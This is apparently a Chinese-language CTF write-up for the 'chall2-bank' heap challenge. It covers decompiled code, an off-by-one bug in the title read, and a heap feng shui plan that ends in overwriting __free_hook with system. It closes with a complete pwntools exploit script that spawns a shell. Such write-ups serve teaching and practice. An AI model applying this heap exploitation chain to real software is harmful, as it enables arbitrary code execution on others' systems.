hack it ctf 2018 chall2-bank

start

前几天写的当时记得保存了…. 然后今天重建博客的时候发现没了…

Analysis

这几天看了hitcon的pwn题感觉菜单题还是挺友好的 程序主要是以下功能

Letter
1. Create an account
2. Edit the title
3. Edit your statement
4. Shut down your account
5. View your bank status

主要涉及到的结构体是:

00000000 act             struc ; (sizeof=0x28, mappedto_6)
00000000 check           dq ?
00000008 size            dq ?
00000010 statement       dq ?                    ; offset
00000018 title           db 16 dup(?)
00000028 act             ends
00000028

 本题特色每次做完操作都会检查一遍malloc_hook 和 每个被记录的act的chec位

__int64 check()
{
  __int64 result; // rax
  signed int i; // [rsp+4h] [rbp-Ch]

  for ( i = 0; i <= 19; ++i )
  {
    if ( account[i] && *(_DWORD *)account[i]->check != 0x60C0C748 )
    {
      puts("LOL you are bankrupt");
      exit(0);
    }
  }
  result = *(_QWORD *)dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "__malloc_hook");
  if ( result )
    exit(0);
  return result;
}

每次malloc的大小都是fastbin内

漏洞

漏洞点比较明显:

unsigned __int64 add()
{
  int size; // [rsp+0h] [rbp-20h]
  int i; // [rsp+4h] [rbp-1Ch]
  act *ptr; // [rsp+8h] [rbp-18h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 19 && account[i]; ++i )
    ;
  if ( i <= 19 )
  {
    ptr = (act *)malloc(0x28uLL);
    ptr->check = (__int64)&magic;
    LODWORD(ptr->size) = 16;
    printf("Enter title of bank account: ");
    read(0, ptr->title, 0x11uLL);               // offbyone
    printf("Enter size of your bank statement: ", ptr->title);
    fflush(stdout);
    scanf("%d\n", &size);
    fflush(stdout);
    if ( size + 8 > 0x70 )
    {
      puts("Only fast allowed");
      exit(0);
    }
    if ( size <= 0 )
      exit(0);
    ptr->statement = (char *)malloc(size + 8);
    fgets(ptr->statement, size, stdin);
    account[i] = ptr;
    printf("Account has been created at index %d\n", (unsigned int)i);
  }
  else
  {
    puts("No space left");
  }
  return __readfsqword(0x28u) ^ v4;
}

在读入title的时候offbyone

思路

  • offbyone 盖掉size free进入unsorted bin
  • malloc调整堆块leak出heap和libc(虽然heap没啥用…)
  • 因为mallochoook没得用又是full relro 所以只能找其他hook
    • free_hook 首选…
    • 首先做fastbin atk 改写掉topchunk指针到freehook前
    • 但是free_hook前没啥可以作为size位的数据所以要自己构造 用unsorted bin atk
    • 然后做一个fastbinatk 之前要在fast bins 中留下size位
  • 改写free hook->system free(“/bin/sh”)

风水(坑点)

  • 前方留下一堆和act size一样的chunk 到后面0x30不够用了就free一些优化结构
  • 做完泄露之后别急着继续,先去调整一下heap
  • 泄漏完之后不要把unsorted bin 放进 smallbin 否则你会后悔的
  • 在fastbin留下做fastbinatk的size1位
  • 先想好再构造否则改死你

EXP

from pwn import *
def cmd(c):
	p.sendlineafter("bank status\n",str(c))
def add(title,size,state="A"):
	cmd(1)
	p.sendafter("Enter title of bank account: ",title)
	p.sendlineafter("Enter size of your bank statement: ",str(size-8))
	p.sendline(state)
def free(idx):
	cmd(4)
	p.sendlineafter("Enter index of bank account: ",str(idx))
def show(idx):
	cmd(5)
	p.sendlineafter("Enter index of bank account: ",str(idx))#
#context.log_level='debug'
p=process("./chall2-bank")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
add("A"*11,0x28)
free(0)
add("A"*11,0x38)#0
add("A"*0x10+'\xd1',0x28)#1
add("A",0x28)#2
add("A",0x28)#3
free(0)
add("A",0x70)#0
fake=0x00007f7a1d095000
#leak
show(2)
p.readuntil("Title: ")
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7bcdb78-fake)
p.readuntil("Statement: ")
heap=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x555555757130-0x555555757000)
log.warning(hex(base))

libc.address=base

#fix
free(3)
add("A",0x48)#3
#fixover
#leakover
add("B"*11,0x28)#4
free(4)
add("B"*11,0x38)#4


##5
cmd(1)
p.sendafter("Enter title of bank account: ","B"*0x10+'\xf1')
p.sendlineafter("Enter size of your bank statement: ",str(0x48-8))
p.send("\x00"*0x38+'\x41\x00\x00\x00\x00\x00\x00\x0a')
##5

free(1)
add("A",0x70,p64(0)*3+p64(0x21)*9)#1
add("B",0x70)#6
add("C",0x28)#7

free(5)
free(4)
free(1)
free(7)

add("A",0x58,p64(0)*7+p64(0x51)+p64(0x7ffff7bcdb50-fake+base))#1
add("A",0x58,p64(0)*3+p64(0x41)+p64(0)+p64(0x81)+p64(0x51))#4

add("A",0x70,p64(0)*3+p64(0x21)+p64(0)+p64(0x31)+p64(0)+p64(0x7ffff7bcf7a0-fake+base-0x10)+p64(0x00000000000020)+p64(0x20)*3)#5
add("A",0x48)#7

add("CCTV",0x28)#8

free(8)

add("A",0x48,p64(0)*3+p64(0x7ffff7bcf7a0-8-fake+base)+p64(0)+p64(0x7ffff7bcdb78-fake+base)+p64(0x7ffff7bcdb78-fake+base))#8

add("A",0x18,p64(0x7ffff784e390-fake+base))

add("A",0x18,"/bin/sh")#10

free(10)
p.interactive("neir>")